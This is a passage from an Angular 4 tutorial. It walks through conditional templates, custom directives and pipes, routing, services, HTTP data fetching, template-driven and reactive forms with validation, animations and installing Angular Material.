isavailable = false; myClickFunction(event) { this.isavailable = false; } changemonths(event) { alert("Changed month from the Dropdown"); console.log(event); } } The output in the browser is as follows − The variable isavailable is false so the condition2 template is printed. If you click the button, the respective template will be called. If you inspect the browser, you will see that you never get the span tag in the dom. The following example will help you understand the same. If you inspect the browser, you will see that the dom does not have the span tag. It has the Condition is invalid from template in the dom. The following line of code in html will help us get the span tag in the dom. <!--The content below is only a placeholder and can be replaced.--> <div style = "text-align:center"> <h1> Welcome to {{title}}. </h1> </div> <div> Months : <select (change) = "changemonths($event)" name = "month"> <option *ngFor = "let i of months">{{i}}</option> </select> </div> <br/> <div> <span *ngIf = "isavailable; else condition2">Condition is valid.</span> <ng-template #condition1>Condition is valid from template</ng-template> <ng-template #condition2>Condition is invalid from template</ng-template> </div> <button (click)="myClickFunction($event)">Click Me</button> If we remove the then condition, we get the “Condition is valid” message in the browser and the span tag is also available in the dom. For example, in app.component.ts, we have made the isavailable variable as true. Directives in Angular is a js class, which is declared as @directive. We have 3 directives in Angular. The directives are listed below − These form the main class having details of how the component should be processed, instantiated and used at runtime. A structure directive basically deals with manipulating the dom elements. Structural directives have a * sign before the directive. For example, *ngIf and *ngFor. Attribute directives deal with changing the look and behavior of the dom element. You can create your own directives as shown below. In this section, we will discuss about Custom Directives to be used in components. Custom directives are created by us and are not standard. Let us see how to create the custom directive. We will create the directive using the command line. The command to create the directive using the command line is − ng g directive nameofthedirective e.g ng g directive changeText This is how it appears in the command line C:\projectA4\Angular 4-app>ng g directive changeText installing directive create src\app\change-text.directive.spec.ts create src\app\change-text.directive.ts update src\app\app.module.ts The above files, i.e., change-text.directive.spec.ts and change-text.directive.ts get created and the app.module.ts file is updated. import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; import { ChangeTextDirective } from './change-text.directive'; @NgModule({ declarations: [ AppComponent, NewCmpComponent, ChangeTextDirective ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } The ChangeTextDirective class is included in the declarations in the above file. The class is also imported from the file given below. import { Directive } from '@angular/core'; @Directive({ selector: '[changeText]' }) export class ChangeTextDirective { constructor() { } } The above file has a directive and it also has a selector property. Whatever we define in the selector, the same has to match in the view, where we assign the custom directive. In the app.component.html view, let us add the directive as follows − <div style="text-align:center"> <span changeText >Welcome to {{title}}.</span> </div> We will write the changes in change-text.directive.ts file as follows − import { Directive, ElementRef} from '@angular/core'; @Directive({ selector: '[changeText]' }) export class ChangeTextDirective { constructor(Element: ElementRef) { console.log(Element); Element.nativeElement.innerText="Text is changed by changeText Directive. "; } } In the above file, there is a class called ChangeTextDirective and a constructor, which takes the element of type ElementRef, which is mandatory. The element has all the details to which the Change Text directive is applied. We have added the console.log element. The output of the same can be seen in the browser console. The text of the element is also changed as shown above. Now, the browser will show the following. In this chapter, we will discuss what are Pipes in Angular 4. Pipes were earlier called filters in Angular1 and called pipes in Angular 2 and 4. The | character is used to transform data. Following is the syntax for the same {{ Welcome to Angular 4 | lowercase}} It takes integers, strings, arrays, and date as input separated with | to be converted in the format as required and display the same in the browser. Let us consider a few examples using pipes. Here, we want to display the text given to uppercase. This can be done using pipes as follows − In the app.component.ts file, we have defined the title variable − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; } The following line of code goes into the app.component.html file. <b>{{title | uppercase}}</b><br/> <b>{{title | lowercase}}</b> The browser appears as shown in the following screenshot − Angular 4 provides some built-in pipes. The pipes are listed below − Lowercasepipe Uppercasepipe Datepipe Currencypipe Jsonpipe Percentpipe Decimalpipe Slicepipe We have already seen the lowercase and uppercase pipes. Let us now see how the other pipes work. The following line of code will help us define the required variables in app.component.ts file − import { Component } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate = new Date(); jsonval = {name:'Rox', age:'25', address:{a1:'Mumbai', a2:'Karnataka'}}; months = ["Jan", "Feb", "Mar", "April", "May", "Jun", "July", "Aug", "Sept", "Oct", "Nov", "Dec"]; } We will use the pipes in the app.component.html file. <!--The content below is only a placeholder and can be replaced.--> <div style = "width:100%;"> <div style = "width:40%;float:left;border:solid 1px black;"> <h1>Uppercase Pipe</h1> <b>{{title | uppercase}}</b><br/> <h1>Lowercase Pipe</h1> <b>{{title | lowercase}}</b> <h1>Currency Pipe</h1> <b>{{6589.23 | currency:"USD"}}</b><br/> <b>{{6589.23 | currency:"USD":true}}</b> //Boolean true is used to get the sign of the currency. <h1>Date pipe</h1> <b>{{todaydate | date:'d/M/y'}}</b><br/> <b>{{todaydate | date:'shortTime'}}</b> <h1>Decimal Pipe</h1> <b>{{ 454.78787814 | number: '3.4-4' }}</b> // 3 is for main integer, 4 -4 are for integers to be displayed. </div> <div style = "width:40%;float:left;border:solid 1px black;"> <h1>Json Pipe</h1> <b>{{ jsonval | json }}</b> <h1>Percent Pipe</h1> <b>{{00.54565 | percent}}</b> <h1>Slice Pipe</h1> <b>{{months | slice:2:6}}</b> // here 2 and 6 refers to the start and the end index </div> </div> The following screenshots show the output for each pipe − To create a custom pipe, we have created a new ts file. Here, we want to create the sqrt custom pipe. We have given the same name to the file and it looks as follows − import {Pipe, PipeTransform} from '@angular/core'; @Pipe ({ name : 'sqrt' }) export class SqrtPipe implements PipeTransform { transform(val : number) : number { return Math.sqrt(val); } } To create a custom pipe, we have to import Pipe and Pipe Transform from Angular/core. In the @Pipe directive, we have to give the name to our pipe, which will be used in our .html file. Since, we are creating the sqrt pipe, we will name it sqrt. As we proceed further, we have to create the class and the class name is SqrtPipe. This class will implement the PipeTransform. The transform method defined in the class will take argument as the number and will return the number after taking the square root. Since we have created a new file, we need to add the same in app.module.ts. This is done as follows − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; import { ChangeTextDirective } from './change-text.directive'; import { SqrtPipe } from './app.sqrt'; @NgModule({ declarations: [ SqrtPipe, AppComponent, NewCmpComponent, ChangeTextDirective ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } We have created the app.sqrt.ts class. We have to import the same in app.module.ts and specify the path of the file. It also has to be included in the declarations as shown above. Let us now see the call made to the sqrt pipe in the app.component.html file. <h1>Custom Pipe</h1> <b>Square root of 25 is: {{25 | sqrt}}</b> <br/> <b>Square root of 729 is: {{729 | sqrt}}</b> The output looks as follows − Routing basically means navigating between pages. You have seen many sites with links that direct you to a new page. This can be achieved using routing. Here the pages that we are referring to will be in the form of components. We have already seen how to create a component. Let us now create a component and see how to use routing with it. In the main parent component app.module.ts, we have to now include the router module as shown below − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { RouterModule} from '@angular/router'; import { AppComponent } from './app.component'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; import { ChangeTextDirective } from './change-text.directive'; import { SqrtPipe } from './app.sqrt'; @NgModule({ declarations: [ SqrtPipe, AppComponent, NewCmpComponent, ChangeTextDirective ], imports: [ BrowserModule, RouterModule.forRoot([ { path: 'new-cmp', component: NewCmpComponent } ]) ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } Here, the RouterModule is imported from angular/router. The module is included in the imports as shown below − RouterModule.forRoot([ { path: 'new-cmp', component: NewCmpComponent } ]) RouterModule refers to the forRoot which takes an input as an array, which in turn has the object of the path and the component. Path is the name of the router and component is the name of the class, i.e., the component created. Let us now see the component created file − import { Component, OnInit } from '@angular/core'; @Component({ selector: 'app-new-cmp', templateUrl: './new-cmp.component.html', styleUrls: ['./new-cmp.component.css'] }) export class NewCmpComponent implements OnInit { newcomponent = "Entered in new component created"; constructor() {} ngOnInit() { } } The highlighted class is mentioned in the imports of the main module. <p> {{newcomponent}} </p> <p> new-cmp works! </p> Now, we need the above content from the html file to be displayed whenever required or clicked from the main module. For this, we need to add the router details in the app.component.html. <h1>Custom Pipe</h1> <b>Square root of 25 is: {{25 | sqrt}}</b><br/> <b>Square root of 729 is: {{729 | sqrt}}</b> <br /> <br /> <br /> <a routerLink = "new-cmp">New component</a> <br /> <br/> <router-outlet></router-outlet> In the above code, we have created the anchor link tag and given routerLink as “new-cmp”. This is referred in app.module.ts as the path. When a user clicks new component, the page should display the content. For this, we need the following tag - <router-outlet> </router-outlet>. The above tag ensures that the content in the new-cmp.component.html will be displayed on the page when a user clicks new component. Let us now see how the output is displayed on the browser. When a user clicks New component, you will see the following in the browser. The url contains http://localhost:4200/new-cmp. Here, the new-cmp gets appended to the original url, which is the path given in the app.module.ts and the router-link in the app.component.html. When a user clicks New component, the page is not refreshed and the contents are shown to the user without any reloading. Only a particular piece of the site code will be reloaded when clicked. This feature helps when we have heavy content on the page and needs to be loaded based on the user interaction. The feature also gives a good user experience as the page is not reloaded. In this chapter, we will discuss the services in Angular 4. We might come across a situation where we need some code to be used everywhere on the page. It can be for data connection that needs to be shared across components, etc. Services help us achieve that. With services, we can access methods and properties across other components in the entire project. To create a service, we need to make use of the command line. The command for the same is − C:\projectA4\Angular 4-app>ng g service myservice installing service create src\app\myservice.service.spec.ts create src\app\myservice.service.ts WARNING Service is generated but not provided, it must be provided to be used C:\projectA4\Angular 4-app> The files are created in the app folder as follows − Following are the files created at the bottom - myservice.service.specs.ts and myservice.service.ts. import { Injectable } from '@angular/core'; @Injectable() export class MyserviceService { constructor() { } } Here, the Injectable module is imported from the @angular/core. It contains the @Injectable method and a class called MyserviceService. We will create our service function in this class. Before creating a new service, we need to include the service created in the main parent app.module.ts. import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { RouterModule} from '@angular/router'; import { AppComponent } from './app.component'; import { MyserviceService } from './myservice.service'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; import { ChangeTextDirective } from './change-text.directive'; import { SqrtPipe } from './app.sqrt'; @NgModule({ declarations: [ SqrtPipe, AppComponent, NewCmpComponent, ChangeTextDirective ], imports: [ BrowserModule, RouterModule.forRoot([ { path: 'new-cmp', component: NewCmpComponent } ]) ], providers: [MyserviceService], bootstrap: [AppComponent] }) export class AppModule { } We have imported the Service with the class name and the same class is used in the providers. Let us now switch back to the service class and create a service function. In the service class, we will create a function which will display today’s date. We can use the same function in the main parent component app.component.ts and also in the new component new-cmp.component.ts that we created in the previous chapter. Let us now see how the function looks in the service and how to use it in components. import { Injectable } from '@angular/core'; @Injectable() export class MyserviceService { constructor() { } showTodayDate() { let ndate = new Date(); return ndate; } } In the above service file, we have created a function showTodayDate. Now we will return the new Date () created. Let us see how we can access this function in the component class. import { Component } from '@angular/core'; import { MyserviceService } from './myservice.service'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate; constructor(private myservice: MyserviceService) {} ngOnInit() { this.todaydate = this.myservice.showTodayDate(); } } The ngOnInit function gets called by default in any component created. The date is fetched from the service as shown above. To fetch more details of the service, we need to first include the service in the component ts file. We will display the date in the .html file as shown below − {{todaydate}} <app-new-cmp></app-new-cmp> // data to be displayed to user from the new component class. Let us now see how to use the service in the new component created. import { Component, OnInit } from '@angular/core'; import { MyserviceService } from './../myservice.service'; @Component({ selector: 'app-new-cmp', templateUrl: './new-cmp.component.html', styleUrls: ['./new-cmp.component.css'] }) export class NewCmpComponent implements OnInit { todaydate; newcomponent = "Entered in new component created"; constructor(private myservice: MyserviceService) {} ngOnInit() { this.todaydate = this.myservice.showTodayDate(); } } In the new component that we have created, we need to first import the service that we want and access the methods and properties of the same. Please see the code highlighted. The todaydate is displayed in the component html as follows − <p> {{newcomponent}} </p> <p> Today's Date : {{todaydate}} </p> The selector of the new component is used in the app.component.html file. The contents from the above html file will be displayed in the browser as shown below − If you change the property of the service in any component, the same is changed in other components too. Let us now see how this works. We will define one variable in the service and use it in the parent and the new component. We will again change the property in the parent component and will see if the same is changed in the new component or not. In myservice.service.ts, we have created a property and used the same in other parent and new component. import { Injectable } from '@angular/core'; @Injectable() export class MyserviceService { serviceproperty = "Service Created"; constructor() { } showTodayDate() { let ndate = new Date(); return ndate; } } Let us now use the serviceproperty variable in other components. In app.component.ts, we are accessing the variable as follows − import { Component } from '@angular/core'; import { MyserviceService } from './myservice.service'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate; componentproperty; constructor(private myservice: MyserviceService) {} ngOnInit() { this.todaydate = this.myservice.showTodayDate(); console.log(this.myservice.serviceproperty); this.myservice.serviceproperty = "component created"; // value is changed. this.componentproperty = this.myservice.serviceproperty; } } We will now fetch the variable and work on the console.log. In the next line, we will change the value of the variable to “component created”. We will do the same in new-cmp.component.ts. import { Component, OnInit } from '@angular/core'; import { MyserviceService } from './../myservice.service'; @Component({ selector: 'app-new-cmp', templateUrl: './new-cmp.component.html', styleUrls: ['./new-cmp.component.css'] }) export class NewCmpComponent implements OnInit { todaydate; newcomponentproperty; newcomponent = "Entered in newcomponent"; constructor(private myservice: MyserviceService) {} ngOnInit() { this.todaydate = this.myservice.showTodayDate(); this.newcomponentproperty = this.myservice.serviceproperty; } } In the above component, we are not changing anything but directly assigning the property to the component property. Now when you execute it in the browser, the service property will be changed since the value of it is changed in app.component.ts and the same will be displayed for the new-cmp.component.ts. Also check the value in the console before it is changed. Http Service will help us fetch external data, post to it, etc. We need to import the http module to make use of the http service. Let us consider an example to understand how to make use of the http service. To start using the http service, we need to import the module in app.module.ts as shown below − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { HttpModule } from '@angular/http'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule, BrowserAnimationsModule, HttpModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } If you see the highlighted code, we have imported the HttpModule from @angular/http and the same is also added in the imports array. Let us now use the http service in the app.component.ts. import { Component } from '@angular/core'; import { Http } from '@angular/http'; import 'rxjs/add/operator/map'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { constructor(private http: Http) { } ngOnInit() { this.http.get("http://jsonplaceholder.typicode.com/users"). map((response) ⇒ response.json()). subscribe((data) ⇒ console.log(data)) } } Let us understand the code highlighted above. We need to import http to make use of the service, which is done as follows − import { Http } from '@angular/http'; In the class AppComponent, a constructor is created and the private variable http of type Http. To fetch the data, we need to use the get API available with http as follows this.http.get(); It takes the url to be fetched as the parameter as shown in the code. We will use the test url - https://jsonplaceholder.typicode.com/users to fetch the json data. Two operations are performed on the fetched url data map and subscribe. The Map method helps to convert the data to json format. To use the map, we need to import the same as shown below − import 'rxjs/add/operator/map'; Once the map is done, the subscribe will log the output in the console as shown in the browser − If you see, the json objects are displayed in the console. The objects can be displayed in the browser too. For the objects to be displayed in the browser, update the codes in app.component.html and app.component.ts as follows − import { Component } from '@angular/core'; import { Http } from '@angular/http'; import 'rxjs/add/operator/map'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { constructor(private http: Http) { } httpdata; ngOnInit() { this.http.get("http://jsonplaceholder.typicode.com/users"). map( (response) ⇒ response.json() ). subscribe( (data) ⇒ {this.displaydata(data);} ) } displaydata(data) {this.httpdata = data;} } In app.component.ts, using the subscribe method we will call the display data method and pass the data fetched as the parameter to it. In the display data method, we will store the data in a variable httpdata. The data is displayed in the browser using for over this httpdata variable, which is done in the app.component.html file. <ul *ngFor = "let data of httpdata"> <li>Name : {{data.name}} Address: {{data.address.city}}</li> </ul> The json object is as follows − { "id": 1, "name": "Leanne Graham", "username": "Bret", "email": "[email protected]", "address": { "street": "Kulas Light", "suite": "Apt. 556", "city": "Gwenborough", "zipcode": "92998-3874", "geo": { "lat": "-37.3159", "lng": "81.1496" } }, "phone": "1-770-736-8031 x56442", "website": "hildegard.org", "company": { "name": "Romaguera-Crona", "catchPhrase": "Multi-layered client-server neural-net", "bs": "harness real-time e-markets" } } The object has properties such as id, name, username, email, and address that internally has street, city, etc. and other details related to phone, website, and company. Using the for loop, we will display the name and the city details in the browser as shown in the app.component.html file. This is how the display is shown in the browser − Let us now add the search parameter, which will filter based on specific data. We need to fetch the data based on the search param passed. Following are the changes done in app.component.html and app.component.ts files − import { Component } from '@angular/core'; import { Http } from '@angular/http'; import 'rxjs/add/operator/map'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'app'; searchparam = 2; jsondata; name; constructor(private http: Http) { } ngOnInit() { this.http.get("http://jsonplaceholder.typicode.com/users?id="+this.searchparam). map( (response) ⇒ response.json() ). subscribe((data) ⇒ this.converttoarray(data)) } converttoarray(data) { console.log(data); this.name = data[0].name; } } For the get api, we will add the search param id = this.searchparam. The searchparam is equal to 2. We need the details of id=2 from the json file. {{name}} This is how the browser is displayed − We have consoled the data in the browser, which is received from the http. The same is displayed in the browser console. The name from the json with id=2 is displayed in the browser. In this chapter, we will see how forms are used in Angular 4. We will discuss two ways of working with forms - template driven form and model driven forms. With a template driven form, most of the work is done in the template; and with the model driven form, most of the work is done in the component class. Let us now consider working on the Template driven form. We will create a simple login form and add the email id, password and submit the button in the form. To start with, we need to import to FormsModule from @angular/core which is done in app.module.ts as follows − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { RouterModule} from '@angular/router'; import { HttpModule } from '@angular/http'; import { FormsModule } from '@angular/forms'; import { AppComponent } from './app.component'; import { MyserviceService } from './myservice.service'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; import { ChangeTextDirective } from './change-text.directive'; import { SqrtPipe } from './app.sqrt'; @NgModule({ declarations: [ SqrtPipe, AppComponent, NewCmpComponent, ChangeTextDirective ], imports: [ BrowserModule, HttpModule, FormsModule, RouterModule.forRoot([ {path: 'new-cmp',component: NewCmpComponent} ]) ], providers: [MyserviceService], bootstrap: [AppComponent] }) export class AppModule { } So in app.module.ts, we have imported the FormsModule and the same is added in the imports array as shown in the highlighted code. Let us now create our form in the app.component.html file. <form #userlogin = "ngForm" (ngSubmit) = "onClickSubmit(userlogin.value)" > <input type = "text" name = "emailid" placeholder = "emailid" ngModel> <br/> <input type = "password" name = "passwd" placeholder = "passwd" ngModel> <br/> <input type = "submit" value = "submit"> </form> We have created a simple form with input tags having email id, password and the submit button. We have assigned type, name, and placeholder to it. In template driven forms, we need to create the model form controls by adding the ngModel directive and the name attribute. Thus, wherever we want Angular to access our data from forms, add ngModel to that tag as shown above. Now, if we have to read the emailid and passwd, we need to add the ngModel across it. If you see, we have also added the ngForm to the #userlogin. The ngForm directive needs to be added to the form template that we have created. We have also added function onClickSubmit and assigned userlogin.value to it. Let us now create the function in the app.component.ts and fetch the values entered in the form. import { Component } from '@angular/core'; import { MyserviceService } from './myservice.service'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate; componentproperty; constructor(private myservice: MyserviceService) { } ngOnInit() { this.todaydate = this.myservice.showTodayDate(); } onClickSubmit(data) { alert("Entered Email id : " + data.emailid); } } In the above app.component.ts file, we have defined the function onClickSubmit. When you click on the form submit button, the control will come to the above function. This is how the browser is displayed − The form looks like as shown below. Let us enter the data in it and in the submit function, the email id is already entered. The email id is displayed at the bottom as shown in the above screenshot. In the model driven form, we need to import the ReactiveFormsModule from @angular/forms and use the same in the imports array. There is a change which goes in app.module.ts. import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { RouterModule} from '@angular/router'; import { HttpModule } from '@angular/http'; import { ReactiveFormsModule } from '@angular/forms'; import { AppComponent } from './app.component'; import { MyserviceService } from './myservice.service'; import { NewCmpComponent } from './new-cmp/new-cmp.component'; import { ChangeTextDirective } from './change-text.directive'; import { SqrtPipe } from './app.sqrt'; @NgModule({ declarations: [ SqrtPipe, AppComponent, NewCmpComponent, ChangeTextDirective ], imports: [ BrowserModule, HttpModule, ReactiveFormsModule, RouterModule.forRoot([ { path: 'new-cmp', component: NewCmpComponent } ]) ], providers: [MyserviceService], bootstrap: [AppComponent] }) export class AppModule { } In app.component.ts, we need to import a few modules for the model driven form. For example, import { FormGroup, FormControl } from '@angular/forms'. import { Component } from '@angular/core'; import { MyserviceService } from './myservice.service'; import { FormGroup, FormControl } from '@angular/forms'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate; componentproperty; emailid; formdata; constructor(private myservice: MyserviceService) { } ngOnInit() { this.todaydate = this.myservice.showTodayDate(); this.formdata = new FormGroup({ emailid: new FormControl("[email protected]"), passwd: new FormControl("abcd1234") }); } onClickSubmit(data) {this.emailid = data.emailid;} } The variable formdata is initialized at the start of the class and the same is initialized with FormGroup as shown above. The variables emailid and passwd are initialized with default values to be displayed in the form. You can keep it blank in case you want to. This is how the values will be seen in the form UI. We have used formdata to initialize the form values; we need to use the same in the form UI app.component.html. <div> <form [formGroup]="formdata" (ngSubmit) = "onClickSubmit(formdata.value)" > <input type="text" class="fortextbox" name="emailid" placeholder="emailid" formControlName="emailid"> <br/> <input type="password" class="fortextbox" name="passwd" placeholder="passwd" formControlName="passwd"> <br/> <input type="submit" class="forsubmit" value="Log In"> </form> </div> <p> Email entered is : {{emailid}} </p> In the .html file, we have used formGroup in square bracket for the form; for example, [formGroup]=”formdata”. On submit, the function is called onClickSubmit for which formdata.value is passed. The input tag formControlName is used. It is given a value that we have used in the app.component.ts file. On clicking submit, the control will pass to the function onClickSubmit, which is defined in the app.component.ts file. On clicking Login, the value will be displayed as shown in the above screenshot. Let us now discuss form validation using model driven form. You can use the built-in form validation or also use the custom validation approach. We will use both the approaches in the form. We will continue with the same example that we created in one of our previous sections. With Angular 4, we need to import Validators from @angular/forms as shown below − import { FormGroup, FormControl, Validators} from '@angular/forms' Angular has built-in validators such as mandatory field, minlength, maxlength, and pattern. These are to be accessed using the Validators module. You can just add validators or an array of validators required to tell Angular if a particular field is mandatory. Let us now try the same on one of the input textboxes, i.e., email id. For the email id, we have added the following validation parameters − Required Pattern matching This is how a code undergoes validation in app.component.ts. import { Component } from '@angular/core'; import { FormGroup, FormControl, Validators} from '@angular/forms'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate; componentproperty; emailid; formdata; ngOnInit() { this.formdata = new FormGroup({ emailid: new FormControl("", Validators.compose([ Validators.required, Validators.pattern("[^ @]*@[^ @]*") ])), passwd: new FormControl("") }); } onClickSubmit(data) {this.emailid = data.emailid;} } In Validators.compose, you can add the list of things you want to validate on the input field. Right now, we have added the required and the pattern matching parameters to take only valid email. In the app.component.html, the submit button is disabled if any of the form inputs are not valid. This is done as follows − <div> <form [formGroup] = "formdata" (ngSubmit) = "onClickSubmit(formdata.value)" > <input type = "text" class = "fortextbox" name = "emailid" placeholder = "emailid" formControlName = "emailid"> <br/> <input type = "password" class = "fortextbox" name = "passwd" placeholder = "passwd" formControlName = "passwd"> <br/> <input type = "submit" [disabled] = "!formdata.valid" class = "forsubmit" value = "Log In"> </form> </div> <p> Email entered is : {{emailid}} </p> For the submit button, we have added disabled in the square bracket, which is given value - !formdata.valid. Thus, if the formdata.valid is not valid, the button will remain disabled and the user will not be able to submit it. Let us see the how this works in the browser − In the above case, the email id entered is invalid, hence the login button is disabled. Let us now try entering the valid email id and see the difference. Now, the email id entered is valid. Thus, we can see the login button is enabled and the user will be able to submit it. With this, the email id entered is displayed at the bottom. Let us now try custom validation with the same form. For custom validation, we can define our own custom function and add the required details in it. We will now see an example for the same. import { Component } from '@angular/core'; import { FormGroup, FormControl, Validators} from '@angular/forms'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'Angular 4 Project!'; todaydate; componentproperty; emailid; formdata; ngOnInit() { this.formdata = new FormGroup({ emailid: new FormControl("", Validators.compose([ Validators.required, Validators.pattern("[^ @]*@[^ @]*") ])), passwd: new FormControl("", this.passwordvalidation) }); } passwordvalidation(formcontrol) { if (formcontrol.value.length <'; 5) { return {"passwd" : true}; } } onClickSubmit(data) {this.emailid = data.emailid;} } In the above example, we have created a function password validation and the same is used in a previous section in the formcontrol - passwd: new FormControl("", this.passwordvalidation). In the function that we have created, we will check if the length of the characters entered is appropriate. If the characters are less than five, it will return with the passwd true as shown above - return {"passwd" : true};. If the characters are more than five, it will consider it as valid and the login will be enabled. Let us now see how this is displayed in the browser − We have entered only three characters in the password and the login is disabled. To enable login, we need more than five characters. Let us now enter a valid length of characters and check. The login is enabled as both the email id and the password are valid. The email is displayed at the bottom as we log in. Animations add a lot of interaction between the html elements. Animation was also available with Angular2. The difference with Angular 4 is that animation is no more a part of the @angular/core library, but is a separate package that needs to be imported in app.module.ts. To start with, we need to import the library as follows − import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; The BrowserAnimationsModule needs to be added to the import array in app.module.ts as shown below − import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { BrowserAnimationsModule } from '@angular/platform-browser/animations'; import { AppComponent } from './app.component'; @NgModule({ declarations: [ AppComponent ], imports: [ BrowserModule, BrowserAnimationsModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } In app.component.html, we have added the html elements, which are to be animated. <div> <button (click)="animate()">Click Me</button> <div [@myanimation] = "state" class="rotate"> <img src="assets/images/img.png" width="100" height="100"> </div> </div> For the main div, we have added a button and a div with an image. There is a click event for which the animate function is called. And for the div, the @myanimation directive is added and given the value as state. Let us now see the app.component.ts where the animation is defined. import { Component } from '@angular/core'; import { trigger, state, style, transition, animate } from '@angular/animations'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'], styles:[` div{ margin: 0 auto; text-align: center; width:200px; } .rotate{ width:100px; height:100px; border:solid 1px red; } `], animations: [ trigger('myanimation',[ state('smaller',style({ transform : 'translateY(100px)' })), state('larger',style({ transform : 'translateY(0px)' })), transition('smaller <=> larger',animate('300ms ease-in')) ]) ] }) export class AppComponent { state: string = "smaller"; animate() { this.state= this.state == 'larger' ? 'smaller' : 'larger'; } } We have to import the animation function that is to be used in the .ts file as shown above. import { trigger, state, style, transition, animate } from '@angular/animations'; Here we have imported trigger, state, style, transition, and animate from @angular/animations. Now, we will add the animations property to the @Component () decorator − animations: [ trigger('myanimation',[ state('smaller',style({ transform : 'translateY(100px)' })), state('larger',style({ transform : 'translateY(0px)' })), transition('smaller <=> larger',animate('300ms ease-in')) ]) ] Trigger defines the start of the animation. The first param to it is the name of the animation to be given to the html tag to which the animation needs to be applied. The second param are the functions we have imported - state, transition, etc. The state function involves the animation steps, which the element will transition between. Right now we have defined two states, smaller and larger. For smaller state, we have given the style transform:translateY(100px) and transform:translateY(100px). Transition function adds animation to the html element. The first argument takes the states, i.e., start and end; the second argument accepts the animate function. The animate function allows you to define the length, delay, and easing of a transition. Let us now see the .html file to see how the transition function works <div> <button (click)="animate()">Click Me</button> <div [@myanimation] = "state" class="rotate"> <img src="assets/images/img.png" width="100" height="100"> </div> </div> There is a style property added in the @component directive, which centrally aligns the div. Let us consider the following example to understand the same − styles:[` div{ margin: 0 auto; text-align: center; width:200px; } .rotate{ width:100px; height:100px; border:solid 1px red; } `], Here, a special character [``] is used to add styles to the html element, if any. For the div, we have given the animation name defined in the app.component.ts file. On the click of a button it calls the animate function, which is defined in the app.component.ts file as follows − export class AppComponent { state: string = "smaller"; animate() { this.state= this.state == ‘larger’? 'smaller' : 'larger'; } } The state variable is defined and is given the default value as smaller. The animate function changes the state on click. If the state is larger, it will convert to smaller; and if smaller, it will convert to larger. This is how the output in the browser (http://localhost:4200/) will look like − Upon clicking the Click Me button, the position of the image is changed as shown in the following screenshot − The transform function is applied in the y direction, which is changed from 0 to 100px when the Click Me button is clicked. The image is stored in the assets/images folder. Materials offer a lot of built-in modules for your project. Features such as autocomplete, datepicker, slider, menus, grids, and toolbar are available for use with materials in Angular 4. To use materials, we need to import the package. Angular 2 also has all the above features but they are available as part of the @angular/core module. Angular 4 has come up with a separate module @angular/materials.. This helps the user to import the required materials. To start using materials, you need to install two packages - materials and cdk. Material components depend on the animation module for advanced features, hence you need the animation package for the same, i.e., @angular/animations. The package has already been updated in the previous chapter. npm install --save @angular/material @angular/cdk Let us now see the package.json. @angular/material and @angular/cdk are installed. { "name": "angularstart", "version": "0.0.0", "license": "MIT", "scripts": { "ng": "ng", "start": "ng serve", "build": "ng build", "test": "ng test", "lint": "ng lint", "e2e": "ng e2e" }, "private": true, "dependencies": { "@angular/animations": "^4.0.0", "@angular/cdk": "^2.0.0-beta.8", "@angular/common": "^4.0.0", "@angular/compiler": "^4.0.0", "@angular/core": "^4.0.0", "@angular/forms": "^4.0.0", "@angular/http": "^4.0.0", "@angular/material": "^2.0.0-beta.8", "@angular/platform-browser": "^4.0.0", "@angular/platform-browser-dynamic": "^4.0.0", "@angular/router": "^4.0.0", "core-js": "^2.4.1", "rxjs": "^5.1.0", "zone.js": "^0.8.4" }, "devDependencies": { "@angular/cli": "1.2.0", "@angular/compiler-cli": "^4.0.0", "@angular/language-service": "^4.0.0", "@types/jasmine": "~2.5.53", "@types/jasminewd2": "~2.0.2", "@types/node": "~6.0.60", "codelyzer": "~3.0.1", "jasmine-core": "~2.6.2", "jasmine-spec-reporter": 